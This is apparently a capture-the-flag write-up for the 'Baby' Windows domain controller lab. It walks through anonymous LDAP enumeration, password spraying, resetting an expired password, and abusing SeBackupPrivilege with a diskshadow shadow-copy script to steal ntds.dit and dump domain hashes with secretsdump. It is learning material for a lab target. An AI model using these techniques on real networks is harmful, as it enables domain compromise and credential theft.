Baby is an easy windows machine from VL created by xct that starts off with anonymous LDAP access which can be used to get credentials for a domain user. The password for the domain user must be changed so I’ll change the password using impacket’s smbpasswd.py. I can then get a shell over WinRM with the newly set password for the user flag. For root I’ll abuse the SeBackupPrivilege to backup the sam & system files, and I’ll run those through pypykatz to dump all of the NTLM hashes on the domain. I can grab the Administrator’s NT hash and I try using it over WinRM but it fails because this is the hash for the local Administrator. I’ll grab the ntds.dit file, and I’ll run it through impacket-secretsdump, along with the sam & system. This time I can get a shell through WinRM as the Domain Admin for the root flag.
Read data files from: /usr/share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Oct 30 01:59:37 2024 -- 1 IP address (1 host up) scanned in 95.49 seconds
All of these ports are usually default ports that are open on a DC (Domain Controller). I’ll start by checking Guest authentication in SMB, and anonymous access over LDAP and RPC.
Recon
445 - SMB
I’ll use nxc to check for Guest authentication in SMB:
One common thing that I see when I have anonymous LDAP access, is sensitive information in the description of an group/user, so I’ll search for description:
1 2 3 4 5 6 7 8
獣 ~/vl/Baby/enumeration ➜ cat ldap-anonymous | grep 'description' -A2 description: Built-in account for guest access to the computer/domain distinguishedName: CN=Guest,CN=Users,DC=baby,DC=vl instanceType: 4 ...snip... description: Set initial password to BabyStart123! givenName: Teresa distinguishedName: CN=Teresa Bell,OU=it,DC=baby,DC=vl
I can see that the description for the Teresa user contains some juicy info:
1
Set initial password to BabyStart123!
Based off of the description, I’ll guess that the password I found is the Teresa user’s default password.
Testing The Creds
I’ll test the creds I found on the Teresa user. To do this I need the users actual username, I’ll get all of the usernames via ldapsearch and I’ll output them to a file named users.txt:
I get a logon failure error, this means that this user’s password has probably been changed to a different password. Seeing as the password was set as the intial password, it might be the default password used across the domain. I’ll use kerbrute to see if I can find any other user that haven’t changed their password yet.
Spraying The Creds
I’ll run kerbrute with the users.txt file and the password that I wanna spray:
The error I recieved tells me that this users password was infact the default password used across the domain. The reason the authentication didn’t work is because this users password expired because they haven’t changed it yet. I can take advantage of this using impacket’s smbpasswd.py to change the users password:
=============================================================================== Warning: This functionality will be deprecated in the next Impacket version ===============================================================================
[!] Password is expired, trying to bind with a null session. [*] Password was changed successfully.
The password was changed successfully to S3cur3P4ssw0rd!.
Shell as Caroline.Robinson
I’ll try to authenticate to SMB with the new password that I set:
User Name SID ====================== ============================================== baby\caroline.robinson S-1-5-21-1407081343-4001094062-1444647654-1115
GROUP INFORMATION -----------------
Group Name Type SID Attributes ========================================== ================ ============================================== ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group BABY\it Group S-1-5-21-1407081343-4001094062-1444647654-1109 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION ----------------------
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION -----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
I have SeBackupPrivilege and I’m in the BUILTIN\Backup Operators group. This allows me to basically read any file that I want. I’ll backup the sam & system, which I can then use to dump all of the NTLM hashes locally via pypykatz. I’ll start by getting the sam & system:
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
The authentication failed, but why? The reason the NT hash failed was because this is the hash for the local Administrator, not the Domain Admin. I just need to grab the ntds.dit file aswell, and then I can use all three of the files with impacket-secretsdump to get the actual Domain Admin’s NT hash.
Using impacket-secretsdump
To do this I’ll use this script with diskshadow:
1 2 3 4 5 6 7 8
set metadata C:\Windows\Temp\meta.cabX set context clientaccessibleX set context persistentX begin backupX add volume C: alias cdriveX createX expose %cdrive% E:X end backupX
I’ll put this script in a file named script.txt and I’ll upload it to the machine using the upload feature in evil-winrm:
1 2 3 4 5 6 7
*Evil-WinRM* PS C:\temp> upload script.txt
Info: Uploading /root/vl/Baby/enumeration/script.txt to C:\temp\script.txt
Data: 232 bytes of 232 bytes copied
Info: Upload successful!
Now I’ll run diskshadow:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
*Evil-WinRM* PS C:\temp> diskshadow /s script.txt Microsoft DiskShadow version 1.0 Copyright (C) 2013 Microsoft Corporation On computer: BABYDC, 10/30/2024 6:54:55 AM
-> set metadata C:\Windows\Temp\meta.cab -> set context clientaccessible -> set context persistent -> begin backup -> add volume C: alias cdrive -> create ...snip... The shadow copy was successfully exposed as E:\. -> end backup
And now I can copy the ntds.dit to C:\temp via robocopy:
------------------------------------------------------------------------------- ROBOCOPY :: Robust File Copy for Windows -------------------------------------------------------------------------------
Started : Wednesday, October 30, 2024 6:56:53 AM Source : E:\Windows\ntds\ Dest : C:\temp\
Files : ntds.dit
...snip...
Speed : 76,608,292 Bytes/sec. Speed : 4,383.562 MegaBytes/min. Ended : Wednesday, October 30, 2024 6:56:53 AM
*Evil-WinRM* PS C:\temp> ls
Directory: C:\temp
Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/30/2024 6:55 AM 16777216 ntds.dit -a---- 10/30/2024 6:37 AM 49152 sam -a---- 10/30/2024 6:54 AM 175 script.txt -a---- 10/30/2024 6:37 AM 16654336 system
Now I’ll download ntds.dit and I’ll run all three files through impacket-secretsdump:
1 2 3 4 5 6
獣 ~/vl/Baby/enumeration ➜ impacket-secretsdump -sam sam -system system -ntds ntds.dit LOCAL Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:<redacted>:::
Shell as Administrator (success)
I’ll try to get a shell over WinRM with the new hash:
Baby was a pretty good machine, anonymous LDAP access is something I don’t usually see too often so it was nice to get a refresher. I’ve also never known that just using the sam & system doesn’t always work, so this was new for me and I learned a lot.
